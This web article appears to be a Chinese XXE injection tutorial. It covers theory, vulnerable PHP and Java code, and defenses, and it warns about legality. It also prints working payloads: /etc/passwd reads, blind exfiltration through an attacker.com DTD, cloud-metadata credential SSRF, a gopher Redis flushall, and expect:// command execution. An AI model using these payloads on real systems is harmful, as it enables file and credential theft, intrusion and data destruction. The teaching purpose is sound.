新闻详情

新闻详情

首页 / 资讯中心 / 详情

XXE XML 外部实体注入

发布时间:2026/10/1 21:36:03来源:尧图网络
XXE XML 外部实体注入
第零章零基础入门如果你完全没有安全基础从这里开始读。如果你已有基础可直接跳到第一章。0.1 先搞懂什么是 XML你每天上网看的网页是 HTML超文本标记语言。XML 和 HTML 是兄弟——都是用尖括号 包裹的标签来描述数据。HTML 的标签是预定义的浏览器认识p、div等p这是一段文字/pXML 的标签是你自己定义的你想叫什么就叫什么订单 商品手机/商品 价格2999/价格 /订单XML 设计目的是存储和传输数据HTML 是显示数据。0.2 XML 和你有什么关系你可能觉得 XML 离自己很远其实不然你上传的 .docx 文件 → 本质是 ZIP XML 你上传的 .xlsx 文件 → 本质是 ZIP XML 你看到的 SVG 图片 → 就是 XML 你的 SSO 登录SAML→ 用 XML 传输 你订阅的 RSS → 就是 XML SOAP Web Service → 用 XML 通信所以只要网站处理这些格式就可能受 XXE 影响。0.3 什么是实体XML 的实体就像编程中的变量——定义一个名字代表一个值!-- 定义一个变量 name值为张三 -- !ENTITY name 张三 ​ !-- 使用时用 name; 引用会被替换为张三 -- root你好name;/root !-- 最终显示你好张三 --0.4 什么是外部实体普通实体的值写死在 XML 里。外部实体的值指向一个外部资源文件、URL!-- 定义外部实体指向 /etc/passwd 文件 -- !ENTITY xxe SYSTEM file:///etc/passwd ​ !-- 引用时解析器会去读 /etc/passwd 的内容 -- rootxxe;/root !-- 最终显示/etc/passwd 文件的全部内容 --这就是 XXE 漏洞的核心攻击者让服务器去读不该读的文件。0.5 用生活类比理解 XXE想象你在一家餐厅菜单上写着今日特餐。正常情况下特餐内容由餐厅决定。但如果菜单上允许你写特餐 请去后厨保险柜看看里面有什么餐厅的服务员真的去看了——这就是 XXE。正常 XML 请求 订单商品手机/商品/订单 → 服务器处理客户想买手机 ​ 恶意 XML 请求XXE !DOCTYPE 订单 [!ENTITY x SYSTEM file:///etc/passwd] 订单x;/订单 → 服务器客户引用了一个外部实体我去读 /etc/passwd → 服务器把 /etc/passwd 内容返回给攻击者0.6 XXE 能造成什么危害危害说明严重程度读文件读取服务器上的配置文件、密钥、源码★★★★★SSRF让服务器访问内网地址★★★★执行命令特定条件下执行系统命令★★★★★拒绝服务耗尽服务器内存★★★★0.7 零基础第一次理解 XXE 攻击攻击者发送的请求 POST /api/parse HTTP/1.1 Content-Type: application/xml ​ ?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo ​ 服务器收到后 1. 解析 XML 2. 遇到 DOCTYPE → 读取 DTD 定义 3. 发现外部实体 xxe 指向 /etc/passwd 4. 读取该文件内容 5. 用文件内容替换 xxe; 6. 返回响应中包含 /etc/passwd 内容 ​ 攻击者看到了服务器的密码文件0.8 你需要的前置知识知识点说明在哪学XML 语法标签、属性本章 0.1-0.2 节DTDDOCTYPE、ENTITY本章 0.3-0.4 节HTTP 请求POST body第 1 篇 0.5 节文件系统/etc/passwd 是什么本章 0.9 节0.9 /etc/passwd 是什么/etc/passwd是 Linux 系统存储用户信息的文件root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin每行包含用户名、密码占位符、UID、GID、描述、家目录、Shell。攻击者读取这个文件可以知道系统有哪些用户知道哪些用户有 Shell可登录为后续攻击提供信息0.10 零基础练习# 1. 在本地创建一个 XML 文件 cat test.xml EOF ?xml version1.0? !DOCTYPE foo [ !ENTITY name hello XXE ] fooname;/foo EOF ​ # 2. 用 PHP 解析它 php -r $dnew DOMDocument();$d-load(test.xml);echo $d-textContent; # 输出hello XXE ​ # 3. 修改为外部实体本地测试 cat test2.xml EOF ?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/hostname ] fooxxe;/foo EOF ​ # 4. 解析 php -r $dnew DOMDocument();$d-load(test2.xml,LIBXML_NOENT);echo $d-textContent; # 输出你的主机名⚠️ 只在本地测试不要对真实网站发送 XML 请求。第一章基础铺垫1.1 先搞懂 XML 是什么XMLeXtensible Markup Language可扩展标记语言是一种存储和传输数据的标记语言?xml version1.0 encodingUTF-8? root user name张三/name age25/age /user /rootXML 与 HTML 的区别HTML 预定义标签p、divXML 由使用者自定义标签。XML 设计目的是传输和存储数据HTML 设计目的是显示数据。XML 的使用场景SOAP Web ServiceREST APIXML 格式SVG 图片SVG 是 XML 格式DOCX/XLSX 文件Office 文件本质是 ZIPXMLRSS/Atom 订阅SAML 认证配置文件如 pom.xml、web.xml1.2 XML 文档结构?xml version1.0 encodingUTF-8? !-- XML 声明 -- !DOCTYPE root [ !-- DTD 声明 -- !ELEMENT root (user) !-- 元素声明 -- !ELEMENT user (name, age) !-- 子元素 -- !ELEMENT name (#PCDATA) !-- 文本内容 -- !ENTITY name 张三 !-- 实体定义 -- ] root !-- 根元素 -- user namename;/name !-- 实体引用 -- age25/age /user /root1.3 什么是 DTDDTDDocument Type Definition文档类型定义定义 XML 的结构和合法元素。DTD 用!DOCTYPE声明可以包含在 XML 文档内部内部 DTD也可以引用外部文件外部 DTD。内部 DTD!DOCTYPE root [ !ENTITY name 张三 !-- 定义实体 name 张三 -- ] rootname;/root !-- name; 引用 → 显示张三 --外部 DTD!DOCTYPE root SYSTEM http://example.com/external.dtd rootcontent/root1.4 什么是 XML 实体EntityXML 实体类似编程语言中的变量——定义一个名称代表某个值或资源。内部实体值在 DTD 内定义!DOCTYPE root [ !ENTITY name 张三 ] rootname;/root !-- 显示张三 --外部实体指向外部资源!DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd !-- 指向本地文件 -- ] rootxxe;/root !-- xxe; 被替换为文件内容 --SYSTEM声明的实体可引用外部资源——本地文件、URL。如果解析器开启外部实体解析xxe;被替换为文件内容。这就是 XXE 漏洞的核心。参数实体只能在 DTD 内引用!DOCTYPE root [ !ENTITY % name 张三 !-- % 定义参数实体 -- !ENTITY use %name; !-- 在 DTD 内引用 -- ]1.5 一般实体 vs 参数实体一般实体参数实体定义!ENTITY name value!ENTITY % name value引用name;XML 内容中%name;只在 DTD 中用途数据替换DTD 内部逻辑Blind XXE不能在内部 DTD 中引用参数实体外部 DTD 中可以关键Blind XXE 必须用参数实体在外部 DTD中组合。1.6 什么是 XXEXXEXML External Entity InjectionXML 外部实体注入是应用解析 XML 时允许加载外部实体攻击者构造恶意 XML 引用外部实体实现读取本地文件发起 SSRF执行命令特定环境如 PHP expect 协议拒绝服务Billion Laughs1.7 XXE 的历史时间事件2000年代XML 广泛用于 Web ServiceSOAP2010年XXE 漏洞被系统研究2014年大量框架被发现默认解析外部实体2015年各种语言的 XML 库加强安全默认配置2017年OWASP 将 XXE 归入 A4:XML External Entities2021年OWASP 归入 A05:Security Misconfiguration1.8 为什么会产生XML 解析器默认可能开启外部实体解析语言/解析器默认解析外部实体说明PHP (libxml 2.9)✅ 是旧版本默认开启PHP (libxml ≥ 2.9)❌ 否需LIBXML_NOENT才开启Java (DOM/SAX 默认)✅ 是Java 默认开启Python (lxml)部分开启需手动关闭.NET (旧版)✅ 是旧版本默认开启.NET (新版)❌ 否新版本默认关闭1.9 危害危害说明严重程度读文件配置文件、密钥、源码★★★★★SSRF访问内网、云元数据★★★★执行命令PHP expect 协议★★★★★DoSBillion Laughs 耗尽内存★★★★内网端口扫描通过响应时间判断★★★1.10 必要的前置知识XML 语法标签、属性、CDATA、命名空间DTD 语法DOCTYPE、ENTITY、SYSTEM、PUBLICXML 解析器DOM、SAX、StAX常见 XML 使用场景SOAP、SVG、DOCX/XLSX第二章原理剖析2.1 支持的协议详解协议能力PHPJavaPython说明file://读本地文件✅✅✅最常用http://发起请求SSRF✅✅✅内网探测https://同上✅✅✅—ftp://读文件 / OOB 外带✅✅✅Blind XXE 外带gopher://任意 TCP 数据✅部分❌打内网服务php://filterPHP 伪协议读源码✅❌❌读 PHP 源码expect://执行命令✅❌❌需 expect 扩展netdoc://类似 file❌✅❌Java 特有ldap://LDAP 查询✅✅✅—2.2 常见 XML 解析场景场景XML 来源注入点SOAP Web ServiceHTTP 请求体POST bodyREST APIXML 格式HTTP 请求体POST bodySVG 图片上传文件内容上传 SVG 文件DOCX/XLSX 文件解析ZIP 中的 XML上传 Office 文件RSS/Atom 订阅远程 URL订阅 URLSAML 认证HTTP 请求SAML Response配置文件解析本地/远程文件—2.3 Blind XXE 原理当页面不输出XML 内容时用带外通道OOB外带数据1. 目标解析 XML → 加载攻击者的外部 DTD 2. 外部 DTD 定义读取文件 发送到攻击者服务器 3. 目标读取文件内容并通过 HTTP 请求发送给攻击者 4. 攻击者从服务器日志获取文件内容关键外部 DTD 中才能在实体定义里引用另一个参数实体内部 DTD 不允许。第三章案例演示案例 1基础 XXE 读取文件漏洞代码parse.php?php // 从请求体读取 XML $xml file_get_contents(php://input); ​ // ❌ libxml 2.9 默认开启外部实体解析 $doc new DOMDocument(); $doc-loadXML($xml); // 解析 XML加载外部实体 ​ // 输出解析结果 echo $doc-textContent; ?利用 Payload发送 XML 作为请求体?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root解析过程解析器遇到!DOCTYPE→ 读取 DTDDTD 中定义了外部实体xxe指向file:///etc/passwd解析器加载该文件内容XML 中xxe;被替换为文件内容$doc-textContent输出文件内容页面返回/etc/passwd的内容。案例 2Java XXEimport javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.DocumentBuilder; import org.w3c.dom.Document; ​ // ❌ 危险默认解析外部实体 DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); DocumentBuilder db dbf.newDocumentBuilder(); Document doc db.parse(request.getInputStream()); // 解析用户 XML String content doc.getElementsByTagName(root).item(0).getTextContent();同样的 Payload 即可利用。Java 默认开启外部实体解析。案例 3SSRF via XXE?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/ ] rootxxe;/rootXXE 可直接发起 SSRF访问内网或云元数据。案例 4Blind XXE无回显页面不输出 XML 内容时用带外通道OOB外带数据。步骤 1注入 Payload?xml version1.0? !DOCTYPE foo [ !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ] rootxxe/root步骤 2攻击者服务器evil.dtd!-- 读取本地文件内容到 %file 实体 -- !ENTITY % file SYSTEM file:///etc/passwd !-- 动态定义另一个实体 %exfil把文件内容拼到 URL 中 -- !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?d%file; %eval; !-- 执行 %eval定义 %exfil -- %exfil; !-- 触发 %exfil向攻击者服务器发送带文件内容的请求 --数据流目标解析 XML → 加载 evil.dtdevil.dtd 定义%file 读取/etc/passwdevil.dtd 定义%exfil 请求http://attacker.com/?d文件内容目标请求攻击者服务器攻击者服务器日志收到文件内容为什么需要外部 DTD内部 DTD 不允许在实体定义中引用另一个参数实体。外部 DTD 可以。案例 5报错 XXE让解析器在错误信息中泄露文件内容?xml version1.0? !DOCTYPE foo [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; error SYSTEM file:///nonexistent/%file; %eval; %error; ]原理%file读取/etc/passwd内容%error尝试加载file:///nonexistent/文件内容→ 不存在 → 报错错误信息中包含文件路径 → 泄露文件内容案例 6PHP 伪协议读源码!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resourceindex.php返回 base64 编码的 PHP 源码解码后可看到源码含数据库密码等。案例 7expect 协议执行命令!ENTITY xxe SYSTEM expect://id需 PHP 安装 expect 扩展。expect://协议可执行系统命令。案例 8Billion Laughs DoS?xml version1.0? !DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol2 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol3 lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2; !ENTITY lol4 lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3; !-- 继续嵌套... -- !-- lol9 10^9 个 lol ≈ 3GB 内存 -- ] lolzlol9;/lolz少量 XML 文本展开后消耗 GB 级内存 → 服务器 OOM 崩溃。案例 9SVG 图片中的 XXE!-- 上传一个 SVG 图片内容含 XXE -- ?xml version1.0 standaloneyes? !DOCTYPE svg [ !ENTITY xxe SYSTEM file:///etc/passwd ] svg xmlnshttp://www.w3.org/2000/svg width500 height500 text x10 y20xxe;/text /svg如果网站处理 SVG 图片时解析 XML就会触发 XXE。第四章实战进阶4.1 本地靶场搭建# bWAPP 包含 XXE 模块 docker run -d -p 8080:80 raesene/bwapp ​ # Vulhub 复现真实 CVE cd vulhub/xxe/... docker-compose up -d ​ # 自建 cat xxe_lab.php EOF ?php $xml file_get_contents(php://input); $doc new DOMDocument(); $doc-loadXML($xml, LIBXML_NOENT); // 故意开启实体替换 echo $doc-textContent; EOF4.2 利用本地 DTD 绕过外部 DTD 限制当目标禁止加载外部 DTD网络出站被限制时引用系统自带的 DTD?xml version1.0? !DOCTYPE root [ !ENTITY % local_dtd SYSTEM file:///usr/share/yelp/dtd/docbookx.dtd !ENTITY % ISOamsa !ENTITY #x25; file SYSTEM file:///etc/passwd !ENTITY #x25; eval !ENTITY #x26;#x25; error SYSTEM #x27;file:///nonexistent/%file;#x27; #x25;eval; #x25;error; %local_dtd; ] roottest/root常见系统 DTD 路径系统路径Linux (GNOME)/usr/share/yelp/dtd/docbookx.dtdLinux (JBoss)/opt/jboss/wildfly/modules/...Linux (OpenJDK)/usr/lib/jvm/.../jre/lib/...Windows (SVG)C:\Windows\System32\下的某些 DTD4.3 XXE 自动化工具# XXExploiter生成 XXE payload java -jar XXExploiter.jar -file /etc/passwd ​ # xxeinjector自动化盲注 ruby xxeinjector.rb --hostattacker.com --filerequest.txt ​ # 利用 DNSLog 验证 # 注入 payload 中引用 http://test.dnslog.cn # 检查 DNSLog 是否收到请求4.4 寻找 XXE 注入点全局搜索 XML 解析函数PHP: DOMDocument::loadXML / simplexml_load_string / XMLReader Java: DocumentBuilderFactory / SAXParserFactory / XMLReader / Unmarshaller Python: xml.etree.ElementTree / lxml.etree / xml.dom.minidom关注场景接收 XML 的 APIContent-Type: application/xml、text/xmlSVG 图片上传DOCX/XLSX 文件解析本质是 ZIPXMLSOAP Web ServiceRSS/Atom 订阅SAML 认证4.5 XXE 测试方法论步骤1识别 XML 输入点 - API 是否接收 XML 请求体 - 是否有文件上传SVG/DOCX - 是否有 SOAP 接口 ​ 步骤2测试基础 XXE - 注入外部实体读取文件 - 检查响应中是否包含文件内容 ​ 步骤3测试 Blind XXE - 如果无回显 → 用 OOB 外带 - 搭建攻击者服务器接收数据 ​ 步骤4测试 SSRF - 引用 http://内网地址 - 引用 http://云元数据地址 ​ 步骤5绕过限制 - 外部 DTD 被禁 → 用本地 DTD - 协议被禁 → 换其他协议4.6 XXE 检测 Checklist- [ ] API 是否接收 XML 请求体 - [ ] SVG 图片上传是否解析 XML - [ ] SOAP 接口是否安全配置 - [ ] DOCX/XLSX 解析是否安全 - [ ] RSS/Atom 订阅是否安全 - [ ] SAML 认证是否安全 - [ ] XML 解析器是否禁用了外部实体第五章防御与避险5.1 禁用外部实体核心PHP$doc new DOMDocument(); // PHP 8.0 默认安全 $doc-loadXML($xml); ​ // 显式禁用网络访问推荐 $doc-loadXML($xml, LIBXML_NONET); // 禁止网络访问 ​ // PHP 8.0 需要禁用实体加载器 libxml_disable_entity_loader(true); // PHP 7.x ​ // SimpleXML 也需要禁用 $simplexml simplexml_load_string($xml, SimpleXMLElement, LIBXML_NOENT);JavaDocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); ​ // ✅ 最彻底完全禁用 DTD dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); ​ // ✅ 禁用外部实体 dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); ​ // ✅ 禁用 XInclude dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); ​ DocumentBuilder db dbf.newDocumentBuilder(); Document doc db.parse(input);Python# 方法1lxml 安全配置 from lxml import etree parser etree.XMLParser( resolve_entitiesFalse, # 不解析实体 no_networkTrue, # 禁止网络访问 load_dtdFalse # 不加载 DTD ) tree etree.fromstring(xml, parser) ​ # 方法2使用 defusedxml推荐安全封装 import defusedxml.ElementTree as ET tree ET.fromstring(xml) # 默认禁用所有危险特性.NETXmlDocument doc new XmlDocument(); doc.XmlResolver null; // 禁用外部实体 doc.Load(input);5.2 使用安全库Pythondefusedxml推荐JavaOWASP 安全配置或SecureXMLDecoderPHP升级 libxml 2.9使用 PHP 8.05.3 用 JSON 替代JSON 没有实体概念天然安全。如果业务不需要 XML用 JSON 代替。5.4 输入校验import re if re.search(r!DOCTYPE, xml, re.IGNORECASE): raise ValueError(不允许 DOCTYPE 声明)5.5 网络层防护限制 XML 解析器的出站网络访问防止 OOB 外带数据。5.6 防御总结防御层措施效果禁用 DTD/外部实体各语言配置★★★★★安全库defusedxml★★★★★用 JSON 替代不需要 XML★★★★★输入校验禁止 DOCTYPE★★★网络层限制禁止出站★★★5.7 安全编码 ChecklistXML 解析器是否禁用了 DTD是否禁用了外部实体是否使用了安全库defusedxml能否用 JSON 替代 XMLSVG 上传是否安全处理DOCX/XLSX 解析是否安全SOAP 接口是否安全配置SAML 认证是否安全第六章法律合规与避险6.1 合法行为✅ 在本地靶场练习✅ 对自己拥有的系统测试✅ 书面授权范围内的渗透测试6.2 违法行为❌ 向他人系统发送恶意 XML❌ 利用 XXE 读取他人服务器文件❌ 通过 XXE 发起内网攻击❌ 通过 XXE 执行命令6.3 涉及法律法律条款说明刑罚刑法第285条非法获取计算机信息系统数据罪三年以下至七年以下刑法第286条破坏计算机信息系统罪五年以下至五年以上网络安全法第27条不得非法侵入他人网络—6.4 自我保护建议XXE 练习只在本地 Docker 靶场中进行发现真实网站 XXE → 报告 SRC不自行读取文件OOB 外带测试只连接到自己的服务器不传播完整的 Blind XXE payload附录速查表协议利用速查协议用途示例file://读文件file:///etc/passwdhttp://SSRFhttp://169.254.169.254/gopher://打内网服务gopher://127.0.0.1:6379/_...dict://探测端口dict://127.0.0.1:6379/infophp://filter读源码php://filter/resourceindex.phpexpect://执行命令expect://id禁用外部实体速查语言方法PHPLIBXML_NONET/libxml_disable_entity_loaderJavasetFeature(...disallow-doctype-decl, true)Pythondefusedxml/resolve_entitiesFalse.NETXmlResolver nullXXE 类型速查类型特点利用方式有回显页面输出 XML 内容直接读取文件报错型页面显示错误信息利用报错带数据Blind盲注无任何回显OOB 外带总结XXE 根因是XML 解析器允许加载外部实体。防御核心是禁用 DTD 和外部实体解析——各语言都有对应配置。推荐使用defusedxml等安全库。如果业务允许用 JSON 替代 XML 输入是最好的选择。大神进阶高级 XXE 技巧与真实案例A.1 真实 CVE 案例分析案例 1Atlassian Confluence XXECVE-2021-26085背景Confluence 是流行的企业 Wiki 系统支持导入 Word 文档。漏洞根因用户上传 .docx 文件 → Confluence 解析其中的 XML 解析器未禁用外部实体 → XXE 攻击者构造恶意 docx → 读取服务器文件利用# 1. 创建一个正常的 docx # 2. 解压 docx本质是 ZIP unzip document.docx -d docx_content/ # 3. 修改其中的 XML 文件注入 XXE cd docx_content/word/document.xml # 在 XML 头部添加 # !DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/passwd] # 在文档体中添加 xxe; # 4. 重新打包为 docx cd .. zip -r malicious.docx docx_content/ # 5. 上传到 Confluence → 触发 XXE案例 2Apache Solr XXECVE-2017-12629漏洞根因Solr 的 DataImportHandler 接受 XML 输入解析时未禁用外部实体。案例 3Facebook Open Graph XXE背景Facebook 的链接预览功能会抓取 URL 的 OG 标签如果页面返回 XML 格式可能触发 XXE。A.2 通过 Office 文件利用 XXEDOCX/XLSX/PPTX 本质是 ZIP XMLdocument.docx本质是 ZIP ├── [Content_Types].xml ← MIME 类型定义 ├── _rels/.rels ← 关系定义 ├── word/document.xml ← 文档内容 ├── word/header.xml ← 页眉 └── word/footer.xml ← 页脚攻击方法修改word/document.xml注入 XXE?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] w:document xmlns:whttp://schemas.openxmlformats.org/wordprocessingml/2006/main w:body w:p w:r w:txxe;/w:t /w:r /w:p /w:body /w:document重新打包为 docx 上传 → 如果服务器解析 Office 文件触发 XXE。A.3 SVG 图片中的 XXESVG 图片本身就是 XML?xml version1.0 standaloneyes? !DOCTYPE svg [ !ENTITY xxe SYSTEM file:///etc/passwd ] svg xmlnshttp://www.w3.org/2000/svg width500 height500 text x10 y20 font-size14xxe;/text /svg上传 SVG → 服务器解析时触发 XXE。A.4 XInclude 攻击当无法控制整个 XML 文档只能控制一部分时用 XInclude!-- 如果你能控制 XML 中的一部分内容 -- foo xmlns:xihttp://www.w3.org/2001/XInclude xi:include hreffile:///etc/passwd/ /fooXInclude 不需要 DOCTYPE 声明适用于只能控制 XML 片段的场景。A.5 高级 Blind XXE 技巧利用 FTP 协议外带大量数据HTTP 协议 URL 有长度限制FTP 协议没有!-- evil.dtd -- !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM ftp://attacker.com/%file; %eval; %exfil;利用错误信息外带!-- 利用 PHP 的 warning 信息 -- !ENTITY % file SYSTEM file:///nonexistent/%file; !-- 文件不存在 → 报错信息中包含 %file 的内容 --多级 XXE 链1. 第一级 XXE → 读取内网配置文件 2. 从配置文件中获取内网服务地址 3. 第二级 XXE → 攻击内网服务A.6 XXE SSRF 组合攻击!-- 读取云元数据 -- !ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/iam/security-credentials/ ​ !-- 探测内网 -- !ENTITY xxe SYSTEM http://192.168.1.1/admin ​ !-- 通过 gopher 攻击内网 Redis -- !ENTITY xxe SYSTEM gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a...A.7 XXE 检测与利用完整流程步骤1识别 XML 输入点 ├─ API 是否接收 XML 请求体 ├─ 是否有文件上传SVG/DOCX ├─ 是否有 SOAP 接口 ├─ 是否有 RSS/Atom 订阅 └─ 是否有 SAML 认证 ​ 步骤2测试基础 XXE ├─ 注入外部实体读取文件 └─ 检查响应中是否包含文件内容 ​ 步骤3测试 Blind XXE ├─ 如果无回显 → 用 OOB 外带 ├─ 搭建攻击者服务器接收数据 └─ 用 DNSLog 验证 ​ 步骤4测试 SSRF ├─ 引用 http://内网地址 └─ 引用 http://云元数据地址 ​ 步骤5绕过限制 ├─ 外部 DTD 被禁 → 用本地 DTD ├─ 协议被禁 → 换其他协议 ├─ 只能控制片段 → 用 XInclude └─ 文件解析场景 → 构造恶意 Office/SVG 文件 ​ 步骤6深入利用 ├─ 读取敏感文件配置/密钥/源码 ├─ SSRF 攻击内网 └─ gopher 协议打内网服务A.8 大神级 XXE Checklist基础检查 - [ ] XML 解析器是否禁用了 DTD - [ ] 是否禁用了外部实体 - [ ] 是否使用了安全库defusedxml ​ 高级检查 - [ ] SVG 上传是否安全处理 - [ ] DOCX/XLSX 解析是否安全 - [ ] SOAP 接口是否安全配置 - [ ] SAML 认证是否安全 - [ ] XInclude 是否禁用 - [ ] 网络出站是否限制 - [ ] 能否用 JSON 替代 XML - [ ] gopher/dict 协议是否禁用 - [ ] 错误信息是否泄露内容附录速查表
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

OpenClaw本地部署全指南:从WSL2到Docker Compose 2026/10/1 22:40:34

OpenClaw本地部署全指南:从WSL2到Docker Compose

说起来有点意思,我第一次在本地把 OpenClaw 跑起来,是在一台配置并不算高的办公笔记本上。那时候周围的朋友还在研究怎么给各种云端 AI 助手充会员,我这边已经在命令行里敲下 docker compose up -d ,几分钟后一个完全属于自己的…

阅读更多 →
VCS +define+ 用法详解:语法、Verdi 联调与编译避坑 2026/10/1 22:40:34

VCS +define+ 用法详解:语法、Verdi 联调与编译避坑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
RustDesk编译内嵌自建服务器与key:打造免配置远程桌面客户端 2026/10/1 22:40:34

RustDesk编译内嵌自建服务器与key:打造免配置远程桌面客户端

自己编译RustDesk,把自建ID服务器和key写进客户端,是我折腾过最值回票价的一件事。远程桌面这玩意儿,日常用TeamViewer、向日葵倒是方便,可一旦动了“这台机器归我管,数据不想经过第三方”的念头,自建就成了…

阅读更多 →
ANSYS Fluent实战指南:网格策略、模型选型与高频问题排查 2026/10/1 22:40:34

ANSYS Fluent实战指南:网格策略、模型选型与高频问题排查

1. 先说清楚:fluent到底是个什么工具,你又该怎么看待它大概没有人会在搜索引擎里只敲一个"fluent"就去查资料,除非是刚开始接触流体仿真,或者刚被导师/领导布置了一个"用fluent算一下"的任务。真正上手之后你…

阅读更多 →
OpenClaw Linux部署教程:自托管AI助理网关全流程 2026/10/1 22:40:34

OpenClaw Linux部署教程:自托管AI助理网关全流程

OpenClaw 这名字,最近在技术社区里冒头很快。先花一句话交代背景:它是一款开源的、可以完整自托管的 AI 助理网关,底层用 Node.js 开发,核心定位是让 Slack、Discord、Microsoft Teams、Telegram 这类聊天平台,和你的 …

阅读更多 →
EVE-NG自定义镜像制作:从qcow2到QEMU模板与串口控制台配置 2026/10/1 22:40:27

EVE-NG自定义镜像制作:从qcow2到QEMU模板与串口控制台配置

手里有一台自己配好的 Linux 小机器,或者从别的项目里导出来的一份 vmdk,想直接拖进 EVE-NG 当节点用,结果打开"添加节点"的列表翻了三遍,发现根本没有这一类。这事我遇到过不止一次,最后都是老老实实自己动…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉